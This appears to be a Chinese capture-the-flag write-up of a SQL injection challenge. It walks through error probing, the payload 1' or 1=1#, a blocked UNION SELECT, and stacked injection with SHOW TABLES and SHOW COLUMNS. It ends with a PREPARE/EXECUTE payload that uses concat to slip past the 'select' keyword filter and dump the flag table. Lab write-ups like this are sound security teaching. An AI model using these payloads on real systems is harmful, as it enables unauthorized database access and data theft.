打开靶机后先输入引号,报错说明存在SQL注入
再输入万能密码1' or 1=1#,返回了表内所有数据,不过不像上一题给出了flag,总不能每道题都那么水吧
输入1' union select 1,2,3#,发现网页过滤了select等一系列关键词,且无法通过大小写绕过
试一下堆叠注入(堆叠注入原理:在sql中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句)
输入1'; show tables;# ,返回了两个表名,说明这条路确实可以
查一下列名,1';show columns from `words`;#,发现没有什么线索
再查一下另一个表名1';show columns from `1919810931114514`;#
所以flag应该在1919810931114514里
因为本题过滤了select,所以可以通过concat绕过,因为concat的是一个字符串,执行字符串需要使用到EXECUTE,所以payload为:1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
顺利得到flag